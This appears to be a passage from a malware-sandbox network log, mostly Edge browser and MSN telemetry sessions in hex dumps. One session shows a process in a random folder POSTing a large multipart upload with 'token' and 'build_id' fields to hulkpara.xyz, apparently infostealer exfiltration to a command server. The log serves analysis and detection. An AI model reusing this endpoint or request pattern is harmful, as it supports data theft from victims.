+.}v]Xb;&Bl?x};psEc`C~K{i:_[!dHvy;;;5Z(G67A1<KL<H1_]o^2g_N00e)QI_`mb7-lF{puU+]P(X9\|H]W_ !z_#FP}
2024-12-19 15:11:23 UTC	15331	OUT	Data Raw: a7 13 6d 4f e9 ea 9e ba 6c 3b 8a dd d7 42 d6 41 07 2d e9 1d 48 4a ee 43 a8 6a 85 ad e8 b5 b1 9a ba 1f 43 97 69 c0 03 9a 27 7b d4 89 da 91 e7 bf bd 3c 4f af b8 56 4b 39 ee b9 f8 bb 33 7e 54 53 0b 6c bd 4d 8e 78 6c 49 98 23 7a 87 e1 d5 bb 5c 23 bb 9c e2 74 74 da bf a9 d9 2d 61 ec 3d a2 39 c4 1d 83 95 d6 ad bc 81 3b 2f fd ca 6b fc 2f 59 2b f8 fa 97 ad b8 28 74 95 6c 18 c5 26 ca 88 23 1a ee 46 50 3c bf 34 9c d3 e8 50 23 52 19 de ce d4 10 f9 47 19 cc 06 5e 46 89 a0 22 91 9f d5 d8 7b 60 c8 41 12 90 43 2f d1 c3 0b 45 e5 eb 34 ea af 2d 70 e1 cb 80 eb ec 13 e3 b5 7f 0a 69 c2 98 90 d3 f6 4f 12 66 29 17 76 c8 bc 5b 8b 42 10 bd ed 0b e9 44 e0 49 6f 9b 2b c5 3a 32 52 9a ab 92 8d f6 08 b5 21 2f 3a df 7b 91 ab c7 2d 8f e0 ed 98 7b cd 6d bb ac af 44 27 f1 86 0e 86 8f c6 Data Ascii: mOl;BA-HJCjCi'{<OVK93~TSlMxlI#z\#tt-a=9;/k/Y+(tl&#FP<4P#RG^F"{`AC/E4-piOf)v[BDIo+:2R!/:{-{mD'
2024-12-19 15:11:23 UTC	15331	OUT	Data Raw: 74 68 0f 3e bf 40 b0 ea 5e bd 4e f8 82 8e af b4 f7 a0 86 15 5a fc 51 aa 7f 1a 26 43 23 69 07 45 9d 26 c4 58 30 f2 af 39 f1 ec 79 94 0c a0 98 6b 84 53 be 4a 3a 7a bd 25 49 fa 04 8f 98 64 14 fb 26 82 fa 61 2d 9a bd c6 e0 14 d3 04 13 25 89 10 fd d2 63 f5 51 b4 d3 88 48 94 46 92 eb 31 e9 90 b6 3a dd ec 15 d9 c5 bf 16 1c b3 e5 3f 16 ba 14 39 54 1f 8e 2e 24 31 12 d0 8c c6 73 35 19 5b 8d bb f6 ae 96 84 5e 28 3f e8 29 dc e0 65 97 b7 8c 76 b2 1c 58 f0 6e 7d 06 ac 12 32 c7 cb bd 12 99 d7 b5 60 e4 dc 50 22 9b a7 ea fd 0c d0 f9 9e e0 ee a2 8f 5a be 49 9c 34 a7 06 f0 41 72 3d 6d 47 61 da 67 a5 e9 2f e9 93 e8 1d ed 12 a3 c3 12 60 62 f7 bb 92 bb a3 e5 1f 22 3e a8 88 18 38 c2 c5 4a 24 05 38 49 de 47 8b f3 da 97 c6 1b 56 c2 e9 8d cc 79 72 b9 75 2a ca de 0a d0 1c 58 24 20 Data Ascii: th>@^NZQ&C#iE&X09ykSJ:z%Id&a-%cQHF1:?9T.$1s5[^(?)evXn}2`P"ZI4Ar=mGag/`b">8J$8IGVyru*X$
2024-12-19 15:11:23 UTC	15331	OUT	Data Raw: 13 6a 9a 5d e5 5b 91 53 54 f4 8b 75 61 77 de 82 7a 0e c9 79 5b 26 0a ce a3 af 3d 63 25 77 b5 d5 af 33 0a 6d 55 df d2 81 dd 7a 5f 23 7c 7d 8b 08 bc fd 50 6d f5 a6 f3 d9 e7 5b 62 3c a9 57 0d 4c 1d 61 a0 d7 00 ac cb 5f 04 dc f5 a7 c6 67 58 89 0f 97 e8 c4 df 4c 55 fd c0 ed b0 8b 35 93 0b 32 9a 03 d6 93 ea 8d 42 f7 dc 1b 25 54 df 1d 76 f4 fd 52 c5 7c 1e 26 b6 93 3b 9b 6f 66 b4 7b 4f ea e9 64 ca 5d 47 15 67 3f 32 24 39 1f 18 68 6d 18 39 fe dc 19 63 7d 63 55 9a 26 3c 1a a5 1e bf 80 52 80 33 69 45 48 6c 16 bf 1c e5 7b 65 14 35 3a 2d 09 eb 3b a5 a9 87 c2 1f 6b c0 ea ec a3 a3 e3 b8 e3 e7 19 f8 41 3a 9a c9 60 3e d1 24 5e 5b b3 96 e2 10 56 41 82 77 15 85 3e 6c 75 e3 93 e0 bf 5e f0 66 dc 80 56 ac eb 15 ec 8f 27 5a 3e 3d 2e bc 24 09 35 dd 6a f7 bb 68 1a cf 4c 7b d5 32 Data Ascii: j][STuawzy[&=c%w3mUz_#\|}Pm[b<WLa_gXLU52B%TvR\|&;of{Od]Gg?2$9hm9c}cU&<R3iEHl{e5:-;kA:`>$^[VAw>lu^fV'Z>=.$5jhL{2
2024-12-19 15:11:23 UTC	15331	OUT	Data Raw: a5 1e 2d 8b 09 0e e0 d8 be 82 12 0c 06 a7 51 11 f9 e6 5f 11 a3 dd 75 4e cd ff 8e 58 f5 d8 a4 ff bd 34 1b c9 5b 66 6c ec 2a 23 69 8e 11 9d 02 19 b8 d5 14 9e cd 2e 8b e0 37 b2 ee 9f 57 33 ed 15 5e 6e e9 35 49 ab 64 c4 fd 80 7d 31 e5 f6 43 c5 57 01 ef 43 ae a3 16 d9 87 1f 79 af 09 05 1c 4b 0c 35 25 cd 12 c2 18 7f 40 60 aa 60 1b 19 50 13 2b 1b 19 a9 e9 0b 76 26 20 9b 08 48 12 62 d4 1b aa 10 e1 c1 d9 9d d1 7b f6 3e 12 23 38 62 8a 05 42 70 03 2e d1 c2 c9 2c 73 10 4e 00 4d 7d 8a 86 65 92 e1 f9 be 85 9c 0b 31 bd 78 47 13 a5 e8 47 9d d8 92 00 19 7f 95 49 f5 f2 85 ad 7e e9 c4 fb 58 41 d9 9f e7 82 4c 9c 35 18 05 b8 15 af 3d ea 55 d5 8c 99 40 2d a4 32 51 90 e9 17 a1 12 c2 b2 b0 3e 96 58 fe d0 d4 30 b9 82 62 d8 f6 8d 86 b6 65 ee d0 bf 18 8e 82 1e 28 da 1e 6f 41 e1 f7 Data Ascii: -Q_uNX4[fl*#i.7W3^n5Id}1CWCyK5%@``P+v& Hb{>#8bBp.,sNM}e1xGGI~XAL5=U@-2Q>X0be(oA
2024-12-19 15:11:23 UTC	15331	OUT	Data Raw: a2 f8 7f 94 ab 71 22 54 9d 29 a6 bb bd 31 95 cb df bd 21 2d 20 62 3c 4b d8 b3 e5 16 47 64 40 c2 27 a1 1e db 39 f8 e6 70 0b 84 a8 34 5d 0f cd 05 11 2a f2 78 48 7a f6 f9 04 db 03 cf b7 85 08 95 3c a9 26 66 57 b6 6c 87 d3 81 f3 02 4b 93 f4 2e 6c ae 0b 7f 3b c3 55 3c f0 3a de e6 1a 5e f7 40 dd af 53 98 eb 08 0d 74 b0 9b d8 93 f4 68 40 4a 25 08 1e fa 47 36 d8 20 90 a0 78 96 b6 df 58 67 f4 2c a4 0b 7b ce bf c3 d6 b2 18 5b 34 ad dd 76 74 c6 f9 48 8a 2e 9a 89 bc 6c fd 2d 03 ad d5 9e 3e 81 b0 02 70 c4 02 cc d5 be 33 c9 8d 74 d3 c2 7b 03 91 2d df 4f ae 13 3a 6f b1 09 8f ad fa 34 77 d1 71 e0 1b 18 ea 73 43 69 23 dc 41 84 74 56 1e 2e f8 67 46 08 1d bb 60 b7 92 b3 fb 29 df 03 18 16 ce a8 2b 17 bc 6c d6 f5 44 97 15 38 ba 7d 9c 5c b5 56 fb 6e 58 e9 59 fe 78 f3 d8 f6 33 Data Ascii: q"T)1!- b<KGd@'9p4]*xHz<&fWlK.l;U<:^@Sth@J%G6 xXg,{[4vtH.l->p3t{-O:o4wqsCi#AtV.gF`)+lD8}\VnXYx3
2024-12-19 15:11:25 UTC	1136	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 15:11:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=p75q21214nhf0odskef65i54ch; expires=Mon, 14 Apr 2025 08:58:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SMtNgyr2uS3L02wSpEWMou6vRGYjFadnHT0mCrBQDZo3WxdGqh0fHPIO%2B%2Bu4ro9kTJD4%2BOg6WY3k6fE6u6sqwbtKVuEZA0wyMbRCqTDVf0CDr1s4SvlJhOFZPR9Ns8Yg4LPrj5k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f48532bf93872ab-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2496&min_rtt=2063&rtt_var=1083&sent=141&recv=402&lost=0&retrans=0&sent_bytes=2843&recv_bytes=383980&delivery_rate=1415414&cwnd=208&unsent_bytes=0&cid=78b50a70bebefbb4&ts=2173&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	50075	172.64.41.3	443	7344	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:23 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-19 15:11:23 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 04 65 64 67 65 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 51 00 0c 00 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgemicrosoftcom)QM
2024-12-19 15:11:23 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 19 Dec 2024 15:11:23 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f48532c48a17cf3-EWR alt-svc: h3=":443"; ma=86400
2024-12-19 15:11:23 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 04 00 00 00 01 04 65 64 67 65 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 0d fa 00 2d 12 65 64 67 65 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 0b 64 75 61 6c 2d 61 2d 30 30 33 36 08 61 2d 6d 73 65 64 67 65 03 6e 65 74 00 c0 30 00 05 00 01 00 00 00 26 00 02 c0 43 c0 43 00 01 00 01 00 00 00 26 00 04 cc 4f c5 ef c0 43 00 01 00 01 00 00 00 26 00 04 0d 6b 15 ef 00 00 29 04 d0 00 00 00 00 01 3e 00 0c 01 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgemicrosoftcom-edge-microsoft-comdual-a-0036a-msedgenet0&CC&OC&k)>:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	50120	52.138.229.66	443	7344	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:23 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1734621080500&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3822 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=09B6C4049C2967923623D15E9D006621; _EDGE_S=F=1&SID=14B2A23A8ED76C5327E7B7608F9C6D59; _EDGE_V=1
2024-12-19 15:11:23 UTC	3822	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 31 39 54 31 35 3a 31 31 3a 32 30 2e 34 39 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 39 34 35 31 34 63 39 37 2d 63 35 33 35 2d 34 39 63 37 2d 62 30 66 34 2d 66 63 31 37 34 38 64 62 37 39 31 61 22 2c 22 65 70 6f 63 68 22 3a 22 33 30 30 39 35 31 34 31 34 30 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-12-19T15:11:20.493Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"94514c97-c535-49c7-b0f4-fc1748db791a","epoch":"3009514140"},"app":{"locale
2024-12-19 15:11:23 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=46538f3e6289437ebd004646fe08a6de&HASH=4653&LV=202412&V=4&LU=1734621083555; Domain=.microsoft.com; Expires=Fri, 19 Dec 2025 15:11:23 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=efd54a8a41f9423c9d96e8774a4c44ca; Domain=.microsoft.com; Expires=Thu, 19 Dec 2024 15:41:23 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3055 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Thu, 19 Dec 2024 15:11:22 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	50123	18.173.219.40	443	7344	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:23 UTC	1012	OUT	GET /b2?rn=1734621080502&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=09B6C4049C2967923623D15E9D006621&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=17549a707df8de2385b30301734621081; XID=17549a707df8de2385b30301734621081
2024-12-19 15:11:24 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Thu, 19 Dec 2024 15:11:23 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 13d659985661cdf8f3c57901ab225276.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P1 X-Amz-Cf-Id: jUfX4EhSzfY460P2Pp0nd6KY-eiMXc2ROADBYsBKVuvAo7PjifA9PA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	50130	20.110.205.119	443	7344	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:24 UTC	1261	OUT	GET /c.gif?rnd=1734621080502&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=ad598eb1f7094426a29abe140e5df5c4&activityId=ad598eb1f7094426a29abe140e5df5c4&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=8C1ADDD060D548A5BBAB4674CA3E57F4&MUID=09B6C4049C2967923623D15E9D006621 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=09B6C4049C2967923623D15E9D006621; _EDGE_S=F=1&SID=14B2A23A8ED76C5327E7B7608F9C6D59; _EDGE_V=1; SM=T
2024-12-19 15:11:24 UTC	982	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Tue, 10 Dec 2024 13:00:24 GMT Accept-Ranges: bytes ETag: "9270eb7934bdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=09B6C4049C2967923623D15E9D006621; domain=.msn.com; expires=Tue, 13-Jan-2026 15:11:24 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=09B6C4049C2967923623D15E9D006621; domain=c.msn.com; expires=Tue, 13-Jan-2026 15:11:24 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Thu, 26-Dec-2024 15:11:24 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Thu, 19-Dec-2024 15:21:24 GMT; path=/; SameSite=None; Secure; Date: Thu, 19 Dec 2024 15:11:23 GMT Connection: close Content-Length: 42
2024-12-19 15:11:24 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	50140	94.130.191.168	443	6756	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:25 UTC	327	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----3WTR1VKF37QIM7Q1DTJ5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: hulkpara.xyz Content-Length: 131557 Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 15:11:25 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 33 57 54 52 31 56 4b 46 33 37 51 49 4d 37 51 31 44 54 4a 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 38 61 39 65 31 36 63 30 38 66 39 37 63 37 61 32 30 66 39 63 36 36 62 62 38 66 66 62 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 33 57 54 52 31 56 4b 46 33 37 51 49 4d 37 51 31 44 54 4a 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 33 65 34 32 36 62 33 31 39 65 37 38 66 38 39 65 36 36 64 31 61 63 62 37 36 37 36 64 30 39 33 0d 0a 2d 2d 2d 2d 2d 2d 33 57 54 52 31 56 4b 46 33 37 51 49 4d 37 51 31 44 54 4a 35 0d 0a 43 6f 6e 74 Data Ascii: ------3WTR1VKF37QIM7Q1DTJ5Content-Disposition: form-data; name="token"48a9e16c08f97c7a20f9c66bb8ffb4d4------3WTR1VKF37QIM7Q1DTJ5Content-Disposition: form-data; name="build_id"d3e426b319e78f89e66d1acb7676d093------3WTR1VKF37QIM7Q1DTJ5Cont
2024-12-19 15:11:25 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:25 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:25 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:25 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: 